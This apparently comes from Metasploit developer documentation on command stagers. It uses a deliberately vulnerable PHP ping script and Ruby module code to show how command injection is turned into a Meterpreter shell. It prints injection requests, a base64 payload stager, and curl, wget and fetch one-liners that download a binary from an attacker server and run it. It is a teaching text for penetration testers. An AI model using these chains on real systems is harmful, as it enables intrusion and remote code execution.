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If you’ve found a way to execute a command on a target, and you’d like the leverage that ability to execute a command into a meterpreter session, command stagers are for you. Command stagers provide an easy way to write exploits that leverage vulnerabilities such as command execution or code injection and turn them into sessions. There are currently 14 different flavors of command stagers, each uses system command (or commands) to save (or not save) your payload, sometimes decode, and execute.

The hardest part about command stagers is understanding how much they do and what they do. All you need to do for a command stager is to define how the command injection works in the execute_command method and then select a few options.

The Vulnerability Test Case

The best way to explain how to use a command stager is probably by demonstrating it. Here we have a command injection vulnerability in example PHP code, something silly you actually might see in enterprise-level software. The bug is that you can inject additional system commands in the system call for ping:

<?php
   if ( isset($_GET["ip"]) ) {
      $output = system("ping -c 1 " . $_GET["ip"]);
      die($output);
   }
?>

<html>
<body>
  <form action = "ping.php" method = "GET">
   IP to ping: <input type = "text" name = "ip" /> <input type = "submit" />
  </form>
   </body>
</html>

Place the above PHP script (ping.php) on an Ubuntu + Apache + PHP server. Make sure your Apache server isn’t exposed to the Internet!

Under normal usage, this is how the script behaves - it just pings the host you specify, and shows you the output:

$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms
rtt min/avg/max/mdev = 0.017/0.017/0.017/0.000 ms

OK, now we can abuse that a little and execute another command (id):

$ curl "http://192.168.1.203/ping.php?ip=127.0.0.1+%26%26+id"
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.020 ms

--- 127.0.0.1 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 0.020/0.020/0.020/0.000 ms
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=33(www-data) gid=33(www-data) groups=33(www-data)

See the www-data? That is the output for the second command we asked the script to execute. By doing that, we can also do something even more nasty - like writing a Meterpreter payload onto the target system, and execute it.

The Msf::Exploit::CmdStager Mixin

Now let’s talk about how to use a command stager to exploit the above script. There are a couple of steps you need to do:

1. Include the Msf::Exploit::CmdStager mixin

Although there are many flavors of mixins/stagers, you only need to include Msf::Exploit::CmdStager when writing a Metasploit exploit. The mixin is basically an interface to all command stagers:

include Msf::Exploit::CmdStager

2. Declare your flavors

To tell Msf::Exploit::CmdStager what flavors you want, you can add the CmdStagerFlavor info in the module’s metadata. Either from the common level, or the target level. Multiple flavors are allowed. Remember that different flavors have different approaches to staging the payload for execution. Some flavors will break the payload apart and embed the payload data into multiple echo or printf commands to write it to disk; others like wget and curl execute a command to retrieve the payload via network connection. Your chosen flavor will be determined by the availability of a given command on the target system, the size of the command, the size of the payload, the ability to call out on the network, and the security posture of the target.

An example of setting flavors for a specific target:

'Targets'   =>
  [
    [ 'Windows',
      {
        'Arch' => [ ARCH_X86_64, ARCH_X86 ],
        'Platform' => 'win',
        'CmdStagerFlavor' => [ 'certutil', 'vbs' ]
      }
    ]
  ]

Or, you can pass this info to the execute_cmdstager method (see Step 4 to begin).

execute_cmdstager(flavor: :vbs)

However, it is best to set the compatible list of flavors in CmdStagerFlavor, rather than hard-coding the flavor in the execute_cmdstager method call, as this allows the operator to choose a flavor from msfconsole with set CmdStager::flavor

3. Create the execute_command method

You also must create a def execute_command(cmd, opts = {}) method in your module. This is how you define how to execute a command on the target. The parameter cmd is the command to execute. When writing the execute_cmd method, remember that a great deal of work might already be done for you. Here is an example of a web host that executes a command as part of a request:

  def execute_command(cmd, _opts = {})
    populate_values if @sid.nil? || @token.nil?
    uri = datastore['URIPATH'] + '/vendor/htmlawed/htmlawed/htmLawedTest.php'

    send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri),
      'cookie' => 'sid=' + @sid,
      'ctype' => 'application/x-www-form-urlencoded',
      'encode_params' => true,
      'vars_post' => {
        'token' => @token,
        'text' => cmd,
        'hhook' => 'exec',
        'sid' => @sid
      }
    })
  end

Since the command is encapsulated within a request, it will be encoded for us. When building and debugging an execute_command method that uses web requests, remember that set httptrace true will automatically display the http traffic as it is sent and received.

4. Decide on the supported payloads

CmdStagers are intended to support payloads that are uploaded, saved to disk, and launched, but many of the payloads in Metasploit Framework do not need to be saved to disk; these payloads are ARCH_CMD payloads that rely on software already present on the target system like netcat, bash, python, or ssh. Depending on whether the payload needs to be saved to disk or not changes what payloads are supported and how we launch the payload, so we must provide the user the ability to pick between the two. The best way to let the user decide what kind of payload to use is by defining separate targets

Here is an example targets section from a command injection module:

    'Targets' => [
      [
        'Unix Command',
        {
          'Platform' => 'unix',
          'Arch' => ARCH_CMD,
          'Type' => :unix_cmd,
          'DefaultOptions' => {
            'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp',
            'RPORT' => 9000
          }
        }
      ],
      [
        'Linux (Dropper)',
        {
          'Platform' => 'linux',
          'Arch' => [ARCH_X64],
          'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' },
          'Type' => :linux_dropper
        }
      ],

The first target is the ARCH_CMD target and unix platform. This allows the user to select any payload that starts with cmd/unix. These payloads do not need to be saved to disk because they are “just” a command, rather than an executable file. As such, they can be contained and launched within a command line string. The second is ARCH_X64 and the platform is linux; this lets us choose any payload that starts with linux/x64 and includes binary elf payloads. These payload types must be saved to disk before they can be launched, and as such, you will often see this second type of payload referred to as a ‘dropper’ because the file must be ‘dropped’ to the disk before it can be executed. In each of the targets above, we’ve selected a default payload we know will work.

4. Executing a payload As we said earlier, the way a payload is executed depends on the payload type. By including Msf::Exploit::CmdStager you are given access to a method called execute_cmdstager. execute_cmdstager makes a list of required commands to encode, upload, save, decode, and execute your payload, then uses the execute_command method you defined earlier to run each command on the target. Unfortunately, we just mentioned not all payloads need to be saved to disk. In the case of a payload that does not need to be saved to disk, we only need to call execute_command. This problem of payload/method juggling sounds far worse than it is. Below is a quick example of how simple the exploit method will become if you have properly defined your targets as discussed in step 3:

  def exploit
    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

That’s it. If the user selects an ARCH_CMD payload, we call the execute_command method on the payload because as we said earlier, these payloads will execute within a single command. If the user has selected a dropped payload like ARCH_X64 or ARCH_X86, then we call execute_cmdstager which figures out the series of commands necessary to save the file to disk and launch it based on the flavor and max size you set earlier.

Over the years, we have also learned that these options are quite handy when calling execute_cmdstager:

  • flavor - You can specify what command stager (flavor) to use from here.
  • delay - How much time to delay between each command execution. 0.25 is default.
  • linemax - Maximum number of characters per command. 2047 is default.

Msf::Exploit::CmdStager Template

At the minimum, this is how your exploit should start when you’re using the CmdStager mixin:

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Command Injection Using CmdStager',
        'Description' => %q{
          This exploits a command injection using the command stager.
        },
        'License' => MSF_LICENSE,
        'Author' => [ 'sinn3r' ],
        'References' => [ [ 'URL', 'http://metasploit.com' ] ],
        'Platform' => 'linux',
        'Targets' => [ [ 'Linux', {} ] ],
        'Payload' => { 'BadChars' => "\x00" },
        'CmdStagerFlavor' => [ 'printf' ],
        'Privileged' => false,
        'DisclosureDate' => '2016-06-10',
        'DefaultTarget' => 0
      )
    )
  end

  def execute_command(cmd, opts = {})
    # calls some method to inject cmd to the vulnerable code.
  end

  def exploit
    print_status('Exploiting...')
    execute_cmdstager
  end

end

As you can see, we have chosen the “printf” flavor as our command stager. We will explain more about this later, but basically what it does is it writes our payload to /tmp and executes it.

Now let’s modify the execute_command method and get code execution against the test case. Based on the PoC, we know that our injection string should look like this:

127.0.0.1+%26%26+[Malicious commands]

We do that in execute_command using HttpClient. Notice there is actually some bad character filtering involved to get the exploit working correctly, which is expected:

def filter_bad_chars(cmd)
  cmd.gsub!(/chmod \+x/, 'chmod 777')
  cmd.gsub!(/;/, ' %26%26 ')
  cmd.gsub!(/ /, '+')
end

def execute_command(cmd, _opts = {})
  send_request_cgi(
    {
      'method' => 'GET',
      'uri' => '/ping.php',
      'encode_params' => false,
      'vars_get' => {
        'ip' => "127.0.0.1+%26%26+#{filter_bad_chars(cmd)}"
      }
    }
  )
end

def exploit
  print_status('Exploiting...')
  execute_cmdstager
end

And let’s run that, we should have a shell:

msf exploit(cmdstager_demo) > run

[*] Started reverse TCP handler on 10.6.0.92:4444
[*] Exploiting...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495599 bytes) to 10.6.0.92
[*] Meterpreter session 1 opened (10.6.0.92:4444 -> 10.6.0.92:51522) at 2016-06-10 11:51:03 -0500

Flavors

Now that we know how to use the Msf::Exploit::CmdStager mixin, let’s take a look at the command stagers you can use. As mentioned above there are 2 general approaches to staging an executable on disk: by invoking a command that will download the executable file to disk like wget, curl, or fetch, or by breaking the executable file into pieces and including them commands themselves to write it to disk like echo, printf, or vbs. This delineation can be important, as trying to write a stageless binary payload to disk using a stager that has to include the chunked payload in it will require the execution of dozens of commands, often each one having the signature of the exploit. It is also useful to know the printf flavor is the only flavor that embeds the payload into the commands but does not use echo.

Available flavors:

Flavors requiring the payload to be broken apart and embedded into the commands:

Flavors that rely on using a command to retrieve the payload via network connection

VBS Command Stager - Windows Only

The VBS command stager is for Windows. What this does is it encodes our payload with Base64, save it on the target machine, also writes a VBS script using the echo command, and then lets the VBS script to decode the Base64 payload, and execute it.

If you are exploiting Windows that supports Powershell, then you might want to consider using that instead of the VBS stager, because Powershell tends to be more stealthy.

To use the VBS stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'vbs' ]

Or set the :vbs key to execute_cmdstager:

execute_cmdstager(flavor: :vbs)

You will also need to make sure the module’s supported platforms include windows (also in the metadata), example:

'Platform' => 'win'

Certutil Command Stager - Windows Only

Certutil is a Windows command that can be used to dump and display certification authority, configuration information, configure certificate services, back up and restore CA components, etc. It only comes with newer Windows systems starting from Windows 2012, and Windows 8. I find the certutil flavor confusing, as certutil can be used to download files just like wget and ftp, we do not use it that way here; instead we use echo to write the file as a base64 encoded certificate, and then we use certutil to decode it prior to execution:

echo -----BEGIN CERTIFICATE----- > encoded.txt
echo Just Base64 encode your binary data
echo TVoAAA== >> encoded.txt
echo -----END CERTIFICATE----- >> encoded.txt
certutil -decode encoded.txt decoded.bin

To take advantage of that, the Certutil command stager will save the payload in Base64 as a fake certificate, ask certutil to decode it, and then finally execute it.

To use the Certutil command stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'certutil' ]

Or set the :certutil key to execute_cmdstager:

execute_cmdstager(flavor: :certutil)

You will also need to remember to set the platform in the metadata:

'Platform' => 'win'

Debug_write Command Stager - Windows Only

The debug_write command stager is an old Windows trick to write a file to the system. In this case, we use debug.exe to write a small .Net binary, and that binary will take a hex-ascii file created by the echo command, decode the binary, and finally execute.

Obviously, to be able to use this command stager, you must make sure the target is a Windows system that supports .Net.

To use the debug_write command stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'debug_write' ]

Or set the :debug_write key to execute_cmdstager:

execute_cmdstager(flavor: :debug_write)

You will also need to remember to set the platform in the metadata:

'Platform' => 'win'

Debug_asm Command Stager - Windows Only

The debug_asm command stager is another old Windows trick used to assemble a COM file, and then COM file will decode our hex-ascii payload, and then execute it.

To use the debug_asm command stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'debug_asm' ]

Or set the :debug_asm key to execute_cmdstager:

execute_cmdstager(flavor: :debug_asm)

You will also need to remember to set the platform in the metadata:

'Platform' => 'win'

TFTP Command Stager - Windows Only

The TFTP command stager uses tftpd.exe to download our payload, and then use the start.exe command to execute it. This technique only works well against an older version of Windows (such as XP), because newer Windows machines no longer install tftp.exe by default.

The TFTP command stager must bind to UDP port 69, so msfconsole must be started as root:

rvmsudo ./msfconsole

To use the TFTP stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'tftp' ]

Or set the :tftp key to execute_cmdstager:

execute_cmdstager(flavor: :tftp)

You will also need to remember to set the platform in the metadata:

'Platform' => 'win'

PowerShell Invoke-WebRequest - Windows Only

To use the PowerShell Invoke-WebRequest stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'psh_invokewebrequest' ]

Or set the :psh_invokewebrequest key to execute_cmdstager:

execute_cmdstager(flavor: :psh_invokewebrequest )

Bourne Command Stager - Multi Platform

Linemax minimum: 373

The Bourne command stager supports multiple platforms except for Windows. Just like many other stagers, it writes a base64 encoded payload to disk, but then it tries to decode it using four different commands: base64, openssl, python, and perl. This is very useful if the target’s OS is unpredictable. You can see the way it attempts to use multiple decoding techniques by setting verbose to true and launching an exploit that has bourne as a supported command stager flavor and selecting it as the flavor:

[*] Generated command stager: ["echo -n f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAA
AAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAAMf9qCViZthBIidZNMclqIkFaagdaDwVIhcB4UWoK
QVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXAoFh8lRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+
Wg8FSIXAeO3/5g==>>'/tmp/XtMnQ.b64' ; ((which base64 >&2 && base64 -d -) || (which base64 >&2 && base64 --decode -) || (w
hich openssl >&2 && openssl enc -d -A -base64 -in /dev/stdin) || (which python >&2 && python -c 'import sys, base64; pri
nt base64.standard_b64decode(sys.stdin.read());') || (which perl >&2 && perl -MMIME::Base64 -ne 'print decode_base64($_)
')) 2> /dev/null > '/tmp/IPUov' < '/tmp/XtMnQ.b64' ; chmod +x '/tmp/IPUov' ; '/tmp/IPUov' ; rm -f '/tmp/IPUov' ; rm -f '
/tmp/XtMnQ.b64'"]

To use the Bourne stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'bourne' ]

Or set the :bourne key to execute_cmdstager:

execute_cmdstager(flavor: :bourne)

Echo Command Stager - Multi Platform

Linemax minimum: 26

The echo command stager is suitable for multiple platforms except for Windows. It just echos the payload, chmod and execute it. An example of that looks similar to this:

echo -en \\x41\\x41\\x41\\x41 >> /tmp/payload ; chmod 777 /tmp/payload ; /tmp/payload ; rm -f /tmp/payload

To use the echo stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'echo' ]

Or set the :echo key to execute_cmdstager:

execute_cmdstager(flavor: :echo)

Printf Command Stager - Multi Platform

Linemax minimum: 25

The printf command stager is also suitable for multiple platforms except for Windows. It just uses the printf command to write the payload to disk, chmod and execute it. An example of that looks similar to this:

printf '\177\177\177\177' >> /tmp/payload ; chmod +x /tmp/payload ; /tmp/payload ; rm -f /tmp/payload

To use the printf stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'printf' ]

Or set the :printf key to execute_cmdstager:

execute_cmdstager(flavor: :printf)

cURL Command Stager - Multi Platform

The cURL command stager uses the curl command on the target host to download the payload file. It requires users to specify a SRVHOST and SRVPORT values and will start an HTTP server to host the payload file. An example of that looks similar to this:

curl -so /tmp/dtNGlaaL http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/dtNGlaaL;/tmp/dtNGlaaL;rm -f /tmp/dtNGlaaL"

To use the cURL stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'curl' ]

Or set the :curl key to execute_cmdstager:

execute_cmdstager(flavor: :curl)

wget Command Stager - Multi Platform

The wget command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the wget command. It requires users to specify a SRVHOST and SRVPORT values and will start an HTTP server to host the payload file. An example of that looks similar to this:

wget -qO /tmp/MZXxujch http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/MZXxujch;/tmp/MZXxujch;rm -f /tmp/MZXxujch

To use the wget stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'wget' ]

Or set the :wget key to execute_cmdstager:

execute_cmdstager(flavor: :wget)

LWP Request Command Stager - Multi Platform

The lwp-request command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the lwp-request command. It requires users to specify a SRVHOST and SRVPORT values and will start an HTTP server to host the payload file. An example of that looks similar to this:

lwp-request -m GET http://10.5.135.201:8080/mdkwKcdGCtU > /tmp/OKOnDYwn;chmod +x /tmp/OKOnDYwn;/tmp/OKOnDYwn;rm -f /tmp/OKOnDYwn

To use the lwprequest stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'lwprequest' ]

Or set the :lwprequest key to execute_cmdstager:

execute_cmdstager(flavor: :lwprequest)

Fetch Command Stager - BSD Only

The fetch command stager is similar to the curl command stager, except instead of using curl to download the file on the target host, it uses the fetch command. It requires users to specify a SRVHOST and SRVPORT values and will start an HTTP server to host the payload file. An example of that looks similar to this:

fetch -qo /tmp/UGWuPPcy http://10.5.135.201:8080/mdkwKcdGCtU;chmod +x /tmp/UGWuPPcy;/tmp/UGWuPPcy;rm -f /tmp/UGWuPPcy

To use the fetch stager, either specify your CmdStagerFlavor in the metadata:

'CmdStagerFlavor' => [ 'fetch' ]

Or set the :fetch key to execute_cmdstager:

execute_cmdstager(flavor: :fetch)